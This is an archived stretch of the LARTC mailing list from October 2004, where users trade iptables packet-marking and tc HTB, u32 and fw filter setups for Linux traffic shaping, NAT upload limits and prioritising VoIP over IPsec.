>De: lartc-admin@mailman.ds9a.nl [mailto:lartc-admin@mailman.ds9a.nl] En
>nombre de Tiago Bruno Espírito Santo Silva
>Enviado el: Domingo, 10 de Octubre de 2004 12:14
>Para: LARTC@mailman.ds9a.nl
>Asunto: Re: [LARTC] Use l7-filter in/and TCNG.
>
>Thanks Alexis!
>
>So you are saying to me that it's better use TC instead of TCNG, i'll try
>your idea thanks again!
>
>Alexis wrote:
>
>  
>
>>First you need to mark the packet, mark is on the mangle table.
>>L7 is a match condition, so, in order to mark the packets this could be 
>>an example
>>
>>Suppose eth0 as lan int and eth1 as wan and the linux box forwarding 
>>between those interfaces
>>
>>The example to mark a packet, lets say with a pattern called bla1
>>
>>iptables -t mangle -A POSTROUTING -m layer7 --l7proto bla1 -j MARK 
>>--set-mark 55
>>
>>
>>Now, you’ve marked all packets with the pattern defined as bla1 in 
>>/etc/protocols
>>
>>So, you must classify those packets.
>>
>>First create the qdisc
>>
>>tc disc add dev eth1 root handle 1: htb default 99
>>
>>Now you must create the root htb class
>>tc class add dev eth1 parent 1: classid 1:1 htb rate 100kbps ceil 
>>100kbps
>>
>>Now the class for your marked traffic with 90kbps of bw
>>
>>tc class add dev eth1 parent 1:1 classid 1:10 htb rate 90kbps ceil 
>>90kbps
>>
>>Now the default class for other non marked traffic
>>
>>tc class add dev eth1 parent 1:1 classid 1:99 htb rate 10kbps ceil 
>>10kbps
>>
>>
>>Now you must apply the filters to assing traffic to the classes
>>
>>tc filter add dev eth1 protocol ip parent 1: prio 0 handle 55 fw flowid 
>>1:10
>>
>>
>>And now, not mandatory but a good idea, add some discipline to the htb 
>>classes (defaults are pfifo, but I prefer sfq)
>>
>>tc qdisc add dev eth1 parent 1:10 handle 10: sfq perturb 10 tc qdisc 
>>add dev eth1 parent 1:99 handle 10: sfq perturb 10
>>
>>And that’s it. Now try to generate some traffic and use tc -s -d class 
>>show dev eth1 and check for the results.
>>
>>This example is very basic but I think it can help.
>>
>>
>>Regards
>>
>>
>>
>>
>>
>>
>>-----Mensaje original-----
>>De: lartc-admin@mailman.ds9a.nl [mailto:lartc-admin@mailman.ds9a.nl] En 
>>nombre de Tiago Bruno Espírito Santo Silva Enviado el: Domingo, 10 de 
>>Octubre de 2004 7:40
>>Para: lartc@mailman.ds9a.nl
>>Asunto: [LARTC] Use l7-filter in/and TCNG.
>>
>>Hello every one!
>>
>>I'm making a project to a discipline in the university and the project 
>>is make a Linux router that grants QoS to Multimedia connections (the 
>>prof. say we can use Open Source Soft. :) or reinvent the wheel). I 
>>have been googeling and googeling and i found the l7-filter in source 
>>forge and the spectacular simple language that is TCNG. Well the 
>>problem is how can i mark packets with netfilter and l7-filter and after
>>    
>>
>that make my HTBs with TCNG.
>  
>
>>I have read the how to from TCNG (my English is not at 100%) and i see 
>>the external program declaration but i think thats not it that i want! 
>>In the l7-filter project they talk about TC but TCNG it much more simpler!
>>Can some one help me? (if there are any post in this mailing list about 
>>this matter, please give me the link i couldn't find it :( )
>>
>>Thanks in advance
>>
>>Tiago.
>>
>>_______________________________________________
>>LARTC mailing list / LARTC@mailman.ds9a.nl 
>>http://mailman.ds9a.nl/mailman/listinfo/lartc HOWTO: http://lartc.org/
>>
>>
>> 
>>
>>    
>>
>
>
>_______________________________________________
>LARTC mailing list / LARTC@mailman.ds9a.nl
>http://mailman.ds9a.nl/mailman/listinfo/lartc HOWTO: http://lartc.org/
>
>
>  
>



From ML@Bartschnet.de  Sun Oct 10 22:17:09 2004
From: ML@Bartschnet.de (Rene Bartsch)
Date: Sun, 10 Oct 2004 23:17:09 +0200 (CEST)
Subject: [LARTC] How to invert tc matches?
Message-ID: <2030.80.133.169.233.1097443029.squirrel@80.133.169.233>

Hi,

I want to use inverted matches with tc-filter. I tried to invert the
matches with a "!", but this doesn't seem to be the correct syntax.


The following rules don't work:

---------------------------snip-----------------------------------------

$TC filter $ACTION dev $DEV protocol ip parent 1:0 u32 match ip src
${NETWORK[$i]} !match ip dst 192.168.0.0/24 flowid 1:$(($(($i+1))*10));

------------------------------------------------------------------------

$TC filter $ACTION dev $DEV protocol ip parent 1:0 u32 match ip src
${NETWORK[$i]} match ip dst !192.168.0.0/24 flowid 1:$(($(($i+1))*10));

---------------------------snap-----------------------------------------

The rules should match all ip packets coming from networks in
192.168.0.XXX (the NETWORK[]-Array) but not match if the packets are
destinated for 192.168.0.0/24 as this is my internal network ;-)

Thanx for any hint

Rene Bartsch





From Ow.Mun.Heng@wdc.com  Mon Oct 11 09:47:24 2004
From: Ow.Mun.Heng@wdc.com (Ow Mun Heng)
Date: Mon, 11 Oct 2004 16:47:24 +0800
Subject: [LARTC] shaping outbound ftp traffic
In-Reply-To: <73cb10737dcd.737dcd73cb10@tampabay.rr.com>
References: <73cb10737dcd.737dcd73cb10@tampabay.rr.com>
Message-ID: <1097484444.13238.4.camel@neuromancer.home.net>

On Fri, 2004-10-08 at 23:46, nix4me@cfl.rr.com wrote:
> Yes, inbound is affected even though outbound transfers are suspended.  
> The inbound in shaped to 39K.  This is what totally confuses me.  I thought 
> with my script that only traffic leaving source ports 50000-51000 & 65437 
> should be shaped.  But it is also shaping traffic entering my machine on 
> the same ports.

Dude..

if TC is cleared, and I presume it _Is_ cleared of all rules, then there should _not_ be 
any limitation on inbound transfer rates. (neither will there be any outbound transfer rate
problems either..

Please go to http://nyc.speakeasy.net/ and test your upload and download speeds

-- 
Ow Mun Heng
Fedora GNU/Linux Core 2 on D600 1.4Ghz CPU kernel
2.6.7-2.jul1-interactive 
Neuromancer 11:01:52 up 1:45, 10 users, load average: 0.91, 0.89, 0.83 

From Ow.Mun.Heng@wdc.com  Mon Oct 11 04:06:26 2004
From: Ow.Mun.Heng@wdc.com (Ow Mun Heng)
Date: Mon, 11 Oct 2004 11:06:26 +0800
Subject: [LARTC] shaping outbound ftp traffic
In-Reply-To: <73cb10737dcd.737dcd73cb10@tampabay.rr.com>
References: <73cb10737dcd.737dcd73cb10@tampabay.rr.com>
Message-ID: <1097463713.25854.34.camel@neuromancer.home.net>

On Fri, 2004-10-08 at 23:46, nix4me@cfl.rr.com wrote:
> Yes, inbound is affected even though outbound transfers are suspended.  
> The inbound in shaped to 39K.  This is what totally confuses me.  I thought 
> with my script that only traffic leaving source ports 50000-51000 & 65437 
> should be shaped.  But it is also shaping traffic entering my machine on 
> the same ports.

Dude..

if TC is cleared, and I presume it _Is_ cleared of all rules, then there should _not_ be 
any limitation on inbound transfer rates. (neither will there be any outbound transfer rate
problems either..

Please go to http://nyc.speakeasy.net/ and test your upload and download speeds

-- 
Ow Mun Heng
Fedora GNU/Linux Core 2 on D600 1.4Ghz CPU kernel
2.6.7-2.jul1-interactive 
Neuromancer 11:01:52 up 1:45, 10 users, load average: 0.91, 0.89, 0.83 

From x11@h2o.sky.lt  Mon Oct 11 10:11:20 2004
From: x11@h2o.sky.lt (=?UTF-8?B?QXJ0xatyYXMgxaBsYWp1cw==?=)
Date: Mon, 11 Oct 2004 12:11:20 +0300
Subject: [LARTC] How to invert tc matches?
In-Reply-To: <2030.80.133.169.233.1097443029.squirrel@80.133.169.233>
References: <2030.80.133.169.233.1097443029.squirrel@80.133.169.233>
Message-ID: <416A4E38.3040005@h2o.sky.lt>

Rene Bartsch wrote:
> Hi,
> 
> I want to use inverted matches with tc-filter. I tried to invert the
> matches with a "!", but this doesn't seem to be the correct syntax.
> 
> 
> The following rules don't work:
> 
> ---------------------------snip-----------------------------------------
> 
> $TC filter $ACTION dev $DEV protocol ip parent 1:0 u32 match ip src
> ${NETWORK[$i]} !match ip dst 192.168.0.0/24 flowid 1:$(($(($i+1))*10));
use fw filter and iptables marking
or just iptables and classify target

From emo terziev <foxy202@gmail.com>  Mon Oct 11 12:29:49 2004
From: emo terziev <foxy202@gmail.com> (emo terziev)
Date: Mon, 11 Oct 2004 14:29:49 +0300
Subject: [LARTC] NAT+mangle+tc
Message-ID: <a763a15b0410110429231ff35@mail.gmail.com>

Hi All,
  I wonder can I do NAT+mangle+tc on same maschine? I want to shape 
outgoing traffic per IP on my gateway computer.


Regards
Emil Terziev

From lists@peterschen.de  Mon Oct 11 12:47:48 2004
From: lists@peterschen.de (Christoph Petersen)
Date: Mon, 11 Oct 2004 13:47:48 +0200
Subject: [LARTC] cbq.init - Some strange behavior / small question
Message-ID: <416A72E4.1050000@peterschen.de>

Hi,

I've a small question about the cbq.init script.
For a gateway I want to shape connections from special
IP addresses to limit their bandwith.

In my test environment I've too machines. One testclient
with the IP 192.168.1.19. On my "shaper" (192.168.1.251) runs
cbq.init with following config file:

orthanc:/etc/sysconfig/cbq# cat cbq-4.ws-019
DEVICE=eth0,100Mbit,10Mbit
RATE=10Kbit
WEIGHT=1Kbit
PRIO=5
LEAF=tbf
ISOLATED=yes
BOUNDED=yes
RULE=192.168.1.19/32

When I have a single scp upload to the server my bandwith is limited to 
10Kbit/s.
But when I have serveral uploads (I've had five in my test) I have an 
overall bandwith
of 20.1Kbit/s.

How can I say my class to limit the overall traffic to max 10Kbit/s?

Thanks in advance
Greets
Christoph

From jasonb@edseek.com  Mon Oct 11 17:09:24 2004
From: jasonb@edseek.com (Jason Boxman)
Date: Mon, 11 Oct 2004 12:09:24 -0400
Subject: [LARTC] NAT+mangle+tc
In-Reply-To: <a763a15b0410110429231ff35@mail.gmail.com>
References: <a763a15b0410110429231ff35@mail.gmail.com>
Message-ID: <200410111209.24082.jasonb@edseek.com>

On Monday 11 October 2004 07:29, emo terziev wrote:
> Hi All,
>   I wonder can I do NAT+mangle+tc on same maschine? I want to shape
> outgoing traffic per IP on my gateway computer.

Sure, you can do that on the same machine.

You can do NAT with a variety of scripts or just hand written iptables rules.  
Personally, I use the gShield iptables firewall.  As for `tc`, you might look 
into the LARTC HOWTO.

http://lartc.org/

-- 

Jason Boxman
Perl Programmer / *NIX Systems Administrator
Shimberg Center for Affordable Housing | University of Florida
http://edseek.com/ - Linux and FOSS stuff


From emo terziev <foxy202@gmail.com>  Mon Oct 11 17:45:02 2004
From: emo terziev <foxy202@gmail.com> (emo terziev)
Date: Mon, 11 Oct 2004 19:45:02 +0300
Subject: [LARTC] NAT+mangle+tc
In-Reply-To: <200410111209.24082.jasonb@edseek.com>
References: <a763a15b0410110429231ff35@mail.gmail.com>
 <200410111209.24082.jasonb@edseek.com>
Message-ID: <a763a15b0410110945381b4bb@mail.gmail.com>

Hi , Jason
   I know LARTC HOWTO. mi download shapers work fine, but 
I don't know can i limit upload when i have NAT because source IP
address is changed
and i cannot make u32 src filter. 

in other hand package marking isn't usable in my case because i want 
  user A to have for example 128K to Group A networks  and 64K to group B
  user B to have   256k to group A and 1Mbit to group B

download is easy, but for upload i unfortunatly don't know how should  to be  :(
 ,This is over my knowlage i think. 

Please anyone with more experience just to give mi idea how can be done.


    +-----------+   |  S  |
    | User A |---+  W |                     +NAT  
    +----------+    |  I   |    eth1         eth0                    group A
    +----------+    |  T  |        +--------+        +--- 180 diferent
Networks -----------------+
    | User B |----+  C  +-----| Router |--------|                     
                         Internet
    +----------+    |  H  |        +--------+        +---all rest
internet  ---------------------------+
       ....    ... / ...                                              
      group B
    +----------+    |  H  |
    | User N |---+  U  |
    +-----------+   |  B  |           ---------------->
                     +-----+



Best Regards
emo terziev

On Mon, 11 Oct 2004 12:09:24 -0400, Jason Boxman <jasonb@edseek.com> wrote:
> On Monday 11 October 2004 07:29, emo terziev wrote:
> > Hi All,
> >   I wonder can I do NAT+mangle+tc on same maschine? I want to shape
> > outgoing traffic per IP on my gateway computer.
> 
> Sure, you can do that on the same machine.
> 
> You can do NAT with a variety of scripts or just hand written iptables rules.
> Personally, I use the gShield iptables firewall.  As for `tc`, you might look
> into the LARTC HOWTO.
> 
> http://lartc.org/
> 
> --
> 
> Jason Boxman
> Perl Programmer / *NIX Systems Administrator
> Shimberg Center for Affordable Housing | University of Florida
> http://edseek.com/ - Linux and FOSS stuff
> 
> _______________________________________________
> LARTC mailing list / LARTC@mailman.ds9a.nl
> http://mailman.ds9a.nl/mailman/listinfo/lartc HOWTO: http://lartc.org/
>

From alex@samad.com.au  Mon Oct 11 22:04:17 2004
From: alex@samad.com.au (Alexander Samad)
Date: Tue, 12 Oct 2004 07:04:17 +1000
Subject: [LARTC] NAT+mangle+tc
In-Reply-To: <a763a15b0410110945381b4bb@mail.gmail.com>
References: <a763a15b0410110429231ff35@mail.gmail.com> <200410111209.24082.jasonb@edseek.com> <a763a15b0410110945381b4bb@mail.gmail.com>
Message-ID: <20041011210417.GA522@samad.com.au>

--OXfL5xGRrasGEqWY
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hi

What you can do is mark the packets in netfilter (iptables) and then use
the marks to assign the packets to classes

you can do something like

iptables -t mangle -A PREROUTING -s AddrIWantToShape -j mark 0x02
iptables -t mangle -A PREROUTING -s AddrIWantToShape2 -j mark 0x03

iptables -t nat -A POSTROUTING -s AddrIWantToShape -o InternetInt -j MASQ
iptables -t nat -A POSTROUTING -s AddrIWantToShape2 -o InternetInt -j MASQ


tc filter add dev InternetInt parent 1: protocol ip pref 5 handle 2 fw flow=
id 1:30
tc filter add dev InternetInt parent 1: protocol ip pref 5 handle 3 fw flow=
id 1:40

Something like that

Alex

On Mon, Oct 11, 2004 at 07:45:02PM +0300, emo terziev wrote:
> Hi , Jason
>    I know LARTC HOWTO. mi download shapers work fine, but=20
> I don't know can i limit upload when i have NAT because source IP
> address is changed
> and i cannot make u32 src filter.=20
>=20
> in other hand package marking isn't usable in my case because i want=20
>   user A to have for example 128K to Group A networks  and 64K to group B
>   user B to have   256k to group A and 1Mbit to group B
>=20
> download is easy, but for upload i unfortunatly don't know how should  to=
 be  :(
>  ,This is over my knowlage i think.=20
>=20
> Please anyone with more experience just to give mi idea how can be done.
>=20
>=20
>     +-----------+   |  S  |
>     | User A |---+  W |                     +NAT =20
>     +----------+    |  I   |    eth1         eth0                    grou=
p A
>     +----------+    |  T  |        +--------+        +--- 180 diferent
> Networks -----------------+
>     | User B |----+  C  +-----| Router |--------|                    =20
>                          Internet
>     +----------+    |  H  |        +--------+        +---all rest
> internet  ---------------------------+
>        ....    ... / ...                                             =20
>       group B
>     +----------+    |  H  |
>     | User N |---+  U  |
>     +-----------+   |  B  |           ---------------->
>                      +-----+
>=20
>=20
>=20
> Best Regards
> emo terziev
>=20
> On Mon, 11 Oct 2004 12:09:24 -0400, Jason Boxman <jasonb@edseek.com> wrot=
e:
> > On Monday 11 October 2004 07:29, emo terziev wrote:
> > > Hi All,
> > >   I wonder can I do NAT+mangle+tc on same maschine? I want to shape
> > > outgoing traffic per IP on my gateway computer.
> >=20
> > Sure, you can do that on the same machine.
> >=20
> > You can do NAT with a variety of scripts or just hand written iptables =
rules.
> > Personally, I use the gShield iptables firewall.  As for `tc`, you migh=
t look
> > into the LARTC HOWTO.
> >=20
> > http://lartc.org/
> >=20
> > --
> >=20
> > Jason Boxman
> > Perl Programmer / *NIX Systems Administrator
> > Shimberg Center for Affordable Housing | University of Florida
> > http://edseek.com/ - Linux and FOSS stuff
> >=20
> > _______________________________________________
> > LARTC mailing list / LARTC@mailman.ds9a.nl
> > http://mailman.ds9a.nl/mailman/listinfo/lartc HOWTO: http://lartc.org/
> >
> _______________________________________________
> LARTC mailing list / LARTC@mailman.ds9a.nl
> http://mailman.ds9a.nl/mailman/listinfo/lartc HOWTO: http://lartc.org/
>=20

--OXfL5xGRrasGEqWY
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFBavVRkZz88chpJ2MRAipZAJ9YNkI6VHGEe7/gnOBZ5L+1XLwXTgCgpvNs
HBRFreUFCxDQ0exVuo8ZBWg=
=34ph
-----END PGP SIGNATURE-----

--OXfL5xGRrasGEqWY--

From jcollins@asgardsrealm.net  Tue Oct 12 02:01:57 2004
From: jcollins@asgardsrealm.net (Jamin W. Collins)
Date: Mon, 11 Oct 2004 19:01:57 -0600
Subject: [LARTC] Classful Queuing
Message-ID: <20041012010156.GY16095@cerberus>

OK, I'm stumped.  I've read through most of the LARTC HOWTO and have yet
to find a basis for what I need to accomplish.

I have a Linux box that controls access to and from the Internet at my
workplace.  We have a number of remote employees that connect via PPTP
and IPSEC to the office's internal network.  Some of these remote
employees are currently using SIP phones.  The problem is occasionally
the available bandwidth becomes consumed and the VoIP calls (obviously)
suffer because of this.

Configuration:
eth0 - connected to the internal office
eth1 - connected to the internet
pppX - incoming on eth1 connection
ipsec0 - incoming on eth1 connection

My question, how can I set classful htb queuing up so that it's rules
encompass all traffic on eth1 (including that to and from the ipsec and
ppp connections) while reserving bandwidth for and prioritizing the SIP
traffic?

In looking through chapter 9 it appears that all the configurations
apply to a specific interface, and thus would only get eth1 for example.
While the traffic on the ppp and ipsec connections would arrive on the
eth1 interface only after being placed on their specific interfaces and
encrypted, thus most likely missing proper classification and
prioritization.

Am I over thinking this problem or missing something?

I'll happily provide any clarification or additional information needed.

-- 
Jamin W. Collins

It has always been Debian's philosophy in the past to stick to what
makes sense, regardless of what crack the rest of the universe is
smoking.  -- Andrew Suffield

From alex@samad.com.au  Tue Oct 12 02:16:54 2004
From: alex@samad.com.au (Alexander Samad)
Date: Tue, 12 Oct 2004 11:16:54 +1000
Subject: [LARTC] Classful Queuing
In-Reply-To: <20041012010156.GY16095@cerberus>
References: <20041012010156.GY16095@cerberus>
Message-ID: <20041012011653.GQ522@samad.com.au>

--+W7ryvxEk4RRyt+P
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hi

I think what you need to look for is marking of packets with netfilter -
let it classify and then used tc to place the properly marked packets
into the proper queue

Because you can mark in the PREROUTING table in mangle before it is enc

Alex

On Mon, Oct 11, 2004 at 07:01:57PM -0600, Jamin W. Collins wrote:
> OK, I'm stumped.  I've read through most of the LARTC HOWTO and have yet
> to find a basis for what I need to accomplish.
>=20
> I have a Linux box that controls access to and from the Internet at my
> workplace.  We have a number of remote employees that connect via PPTP
> and IPSEC to the office's internal network.  Some of these remote
> employees are currently using SIP phones.  The problem is occasionally
> the available bandwidth becomes consumed and the VoIP calls (obviously)
> suffer because of this.
>=20
> Configuration:
> eth0 - connected to the internal office
> eth1 - connected to the internet
> pppX - incoming on eth1 connection
> ipsec0 - incoming on eth1 connection
>=20
> My question, how can I set classful htb queuing up so that it's rules
> encompass all traffic on eth1 (including that to and from the ipsec and
> ppp connections) while reserving bandwidth for and prioritizing the SIP
> traffic?
>=20
> In looking through chapter 9 it appears that all the configurations
> apply to a specific interface, and thus would only get eth1 for example.
> While the traffic on the ppp and ipsec connections would arrive on the
> eth1 interface only after being placed on their specific interfaces and
> encrypted, thus most likely missing proper classification and
> prioritization.
>=20
> Am I over thinking this problem or missing something?
>=20
> I'll happily provide any clarification or additional information needed.
>=20
> --=20
> Jamin W. Collins
>=20
> It has always been Debian's philosophy in the past to stick to what
> makes sense, regardless of what crack the rest of the universe is
> smoking.  -- Andrew Suffield
> _______________________________________________
> LARTC mailing list / LARTC@mailman.ds9a.nl
> http://mailman.ds9a.nl/mailman/listinfo/lartc HOWTO: http://lartc.org/
>=20

--+W7ryvxEk4RRyt+P
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFBazCFkZz88chpJ2MRAighAKC+gMHvJ8FZvFJb5SqjB97kXMZdngCg9Zfm
IzWAkSekBZjFPlzTovhnPFc=
=DKoP
-----END PGP SIGNATURE-----

--+W7ryvxEk4RRyt+P--

From jcollins@asgardsrealm.net  Tue Oct 12 02:31:28 2004
From: jcollins@asgardsrealm.net (Jamin W. Collins)
Date: Mon, 11 Oct 2004 19:31:28 -0600
Subject: [LARTC] Classful Queuing
In-Reply-To: <20041012011653.GQ522@samad.com.au>
References: <20041012010156.GY16095@cerberus> <20041012011653.GQ522@samad.com.au>
Message-ID: <20041012013127.GZ16095@cerberus>

On Tue, Oct 12, 2004 at 11:16:54AM +1000, Alexander Samad wrote:
> 
> I think what you need to look for is marking of packets with netfilter -
> let it classify and then used tc to place the properly marked packets
> into the proper queue
> 
> Because you can mark in the PREROUTING table in mangle before it is enc

But will the mark still exist after the encryption/encapsulation?  Plus,
that only deals without outgoing not incoming utilization if I'm
following this correctly.  The incoming packets would not be
identifiable until they were taken off the eth1 interface for their
specific interface (ppp or ipsec), right?

-- 
Jamin W. Collins

"Never underestimate the power of very stupid people in large groups."
-- John Kenneth Galbraith

From ethy@inexo.com.br  Tue Oct 12 03:20:45 2004
From: ethy@inexo.com.br (Ethy H. Brito)
Date: Mon, 11 Oct 2004 23:20:45 -0300
Subject: [LARTC] NAT+mangle+tc
In-Reply-To: <20041011210417.GA522@samad.com.au>
References: <a763a15b0410110429231ff35@mail.gmail.com>
 <200410111209.24082.jasonb@edseek.com>
 <a763a15b0410110945381b4bb@mail.gmail.com>
 <20041011210417.GA522@samad.com.au>
Message-ID: <20041011232045.6a513ed5@babalu.inexo.com.br>

On Tue, 12 Oct 2004 07:04:17 +1000
Alexander Samad <alex@samad.com.au> wrote:

> you can do something like
> 
> iptables -t mangle -A PREROUTING -s AddrIWantToShape -j mark 0x02
> iptables -t mangle -A PREROUTING -s AddrIWantToShape2 -j mark 0x03

-- SNIP --
> 
> tc filter add dev InternetInt parent 1: protocol ip pref 5 handle 2 fw flowid 1:30
> tc filter add dev InternetInt parent 1: protocol ip pref 5 handle 3 fw flowid 1:40
> 

Hi All.

I am also fighting this for some time now. And I got:

(icmp incoming thru eth1 should be put into output eth2 flow 1:1)
iptables -t mangle -A PREROUTING -i eth1 -p icmp -j MARK --set-mark 1
tc filter add dev eth2 protocol ip parent 1: pref 1 handle 1 fw flowid 1:1

RTNETLINK answers: Invalid argument

Linux Slackware  8.1
iptables v1.2.6a
Kernel 2.4.20-pre10 with
<*>  Firewall based classifier
tc downloaded from docum.org 

The funny thing is that the line bellow do not give me any errors:

tc filter add dev $INTERNET protocol ip \
        parent 1:0 prio 1 u32 \
        match ip src X.Y.W.Z/29 \
        flowid 1:FFFE


It is another classifier I know. But what am I doing wrong?

-- 

Ethy H. Brito         /"\
InterNexo Ltda.       \ /  CAMPANHA DA FITA ASCII - CONTRA MAIL HTML
+55 (12) 3941-6860     X   ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL
S.J.Campos - Brasil   / \ 

From alex@samad.com.au  Tue Oct 12 04:04:03 2004
From: alex@samad.com.au (Alexander Samad)
Date: Tue, 12 Oct 2004 13:04:03 +1000
Subject: [LARTC] Classful Queuing
In-Reply-To: <20041012013127.GZ16095@cerberus>
References: <20041012010156.GY16095@cerberus> <20041012011653.GQ522@samad.com.au> <20041012013127.GZ16095@cerberus>
Message-ID: <20041012030403.GS522@samad.com.au>

--YttKMwf6abDJOSyE
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Mon, Oct 11, 2004 at 07:31:28PM -0600, Jamin W. Collins wrote:
> On Tue, Oct 12, 2004 at 11:16:54AM +1000, Alexander Samad wrote:
> >=20
> > I think what you need to look for is marking of packets with netfilter -
> > let it classify and then used tc to place the properly marked packets
> > into the proper queue
> >=20
> > Because you can mark in the PREROUTING table in mangle before it is enc
>=20
> But will the mark still exist after the encryption/encapsulation?  Plus,
> that only deals without outgoing not incoming utilization if I'm
> following this correctly.  The incoming packets would not be
> identifiable until they were taken off the eth1 interface for their
> specific interface (ppp or ipsec), right?

not so about ingres, but the marking stay with the packet after the enc
( well on 2.6 with native stack it does).  I use this for marking
packets.


>=20
> --=20
> Jamin W. Collins
>=20
> "Never underestimate the power of very stupid people in large groups."
> -- John Kenneth Galbraith
> _______________________________________________
> LARTC mailing list / LARTC@mailman.ds9a.nl
> http://mailman.ds9a.nl/mailman/listinfo/lartc HOWTO: http://lartc.org/
>=20

--YttKMwf6abDJOSyE
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFBa0mjkZz88chpJ2MRAsLgAJ4+4QrOog5vEJctam0vbSUax2M4egCeIwuH
ZRpmgm83lD/aFqv4AIF8sv8=
=k+dz
-----END PGP SIGNATURE-----

--YttKMwf6abDJOSyE--

From rsenykoff@harrislogic.com  Tue Oct 12 04:46:01 2004
From: rsenykoff@harrislogic.com (rsenykoff@harrislogic.com)
Date: Mon, 11 Oct 2004 22:46:01 -0500
Subject: [LARTC] Classful Queuing
In-Reply-To: <20041012030403.GS522@samad.com.au>
Message-ID: <OF06CB7B01.DD27CD1D-ON86256F2B.00148501-86256F2B.0014B165@edapt.us>

This is a multipart message in MIME format.
--=_alternative 0014B16386256F2B_=
Content-Type: text/plain; charset="US-ASCII"

>But will the mark still exist after the encryption/encapsulation?
>>not so about ingres, but the marking stay with the packet after the enc
>>( well on 2.6 with native stack it does).  I use this for marking
>>packets.

Isn't this going to depend on whether you are encrypting the whole packet 
(VPN style) or just the data portion of the packet (SSL style)?

--=_alternative 0014B16386256F2B_=
Content-Type: text/html; charset="US-ASCII"


<br><font size=2><tt>&gt;But will the mark still exist after the encryption/encapsulation?</tt></font>
<br><font size=2><tt>&gt;&gt;not so about ingres, but the marking stay
with the packet after the enc<br>
&gt;&gt;( well on 2.6 with native stack it does). &nbsp;I use this for
marking<br>
&gt;&gt;packets.</tt></font>
<br>
<br><font size=2 face="sans-serif">Isn't this going to depend on whether
you are encrypting the whole packet (VPN style) or just the data portion
of the packet (SSL style)?</font>
<br>
--=_alternative 0014B16386256F2B_=--

From r.felber@ek-muc.de  Tue Oct 12 07:25:25 2004
From: r.felber@ek-muc.de (Robert Felber)
Date: Tue, 12 Oct 2004 08:25:25 +0200
Subject: [LARTC] Classful Queuing
In-Reply-To: <20041012010156.GY16095@cerberus>
References: <20041012010156.GY16095@cerberus>
Message-ID: <20041012062525.GA65689@fpsvr1z150.dartsd66.local>

--AhhlLboLdkugWU4S
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Mon, Oct 11, 2004 at 07:01:57PM -0600, Jamin W. Collins wrote:
> OK, I'm stumped.  I've read through most of the LARTC HOWTO and have yet
> to find a basis for what I need to accomplish.
>=20
> I have a Linux box that controls access to and from the Internet at my
> workplace.  We have a number of remote employees that connect via PPTP
> and IPSEC to the office's internal network.  Some of these remote
> employees are currently using SIP phones.  The problem is occasionally
> the available bandwidth becomes consumed and the VoIP calls (obviously)
> suffer because of this.
>=20
> Configuration:
> eth0 - connected to the internal office
> eth1 - connected to the internet
> pppX - incoming on eth1 connection
> ipsec0 - incoming on eth1 connection
>=20
> My question, how can I set classful htb queuing up so that it's rules
> encompass all traffic on eth1 (including that to and from the ipsec and
> ppp connections) while reserving bandwidth for and prioritizing the SIP
> traffic?

First of all: policing ("shaping" incomming) does not really work as desire=
d.
Not even with RED. The dropping of packets causes to much retransmits, which
will fill up your incomming twice. One could use RED/ECN, but till now i di=
d not
get RED to mark any packets with ECN. However.
Second: look at /etc/protocols or at tcpdump to identify the protocols you=
=20
want to priorize and shape (not police). Use iptables, MARK and the -p opti=
on
for that. Besides, I don't know whether you have more than one static IP. If
you have more, you could set up "aliases" and shape via outgoing/source (an=
d=20
incomming/destination if you really want to police).

--=20
Robert Felber (EDV-Leitung)
Autohaus Erich Kuttendreier=20
Drosselweg 21
81827 Muenchen

Tel: +49 (0) 89 / 453 12-86
Fax: +49 (0) 89 / 453 12-80

PGP: 896CF30B
PGP-Fingerprint: CF36 AA93 9716 63E8 962F 15CC A80E 1A79 BF77 25EA

--AhhlLboLdkugWU4S
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (FreeBSD)

iD8DBQFBa3jUCn+wd4ls8wsRAmbmAJ9Xf5C/1xMJYdnXESXcfnIuQawjCgCffmB+
ct0ur3d4IAm94L8pQ6ve0qY=
=Aq4Q
-----END PGP SIGNATURE-----

--AhhlLboLdkugWU4S--

From alex@samad.com.au  Tue Oct 12 08:05:53 2004
From: alex@samad.com.au (Alexander Samad)
Date: Tue, 12 Oct 2004 17:05:53 +1000
Subject: [LARTC] Classful Queuing
In-Reply-To: <OF06CB7B01.DD27CD1D-ON86256F2B.00148501-86256F2B.0014B165@edapt.us>
References: <20041012030403.GS522@samad.com.au> <OF06CB7B01.DD27CD1D-ON86256F2B.00148501-86256F2B.0014B165@edapt.us>
Message-ID: <20041012070553.GW522@samad.com.au>

--Uzkapz4/HjIvV4VZ
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Mon, Oct 11, 2004 at 10:46:01PM -0500, rsenykoff@harrislogic.com wrote:
> >But will the mark still exist after the encryption/encapsulation?
> >>not so about ingres, but the marking stay with the packet after the enc
> >>( well on 2.6 with native stack it does).  I use this for marking
> >>packets.
>=20
> Isn't this going to depend on whether you are encrypting the whole packet=
=20
> (VPN style) or just the data portion of the packet (SSL style)?

I use it to mark parkets that are then esp enc.  I am using in currently
with 2.6 and native ipsec stack to mark all packets that come in as esp
and then are de - enc, I allow these through the firewall. This was my
way around the old the problem of how to setup the firewall when the
ipsecX interface dissappeared.

I beleive the packet is encaped in place not duplicate.  Then the new
packet is refeed back in to netfilter.

Alex




--Uzkapz4/HjIvV4VZ
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

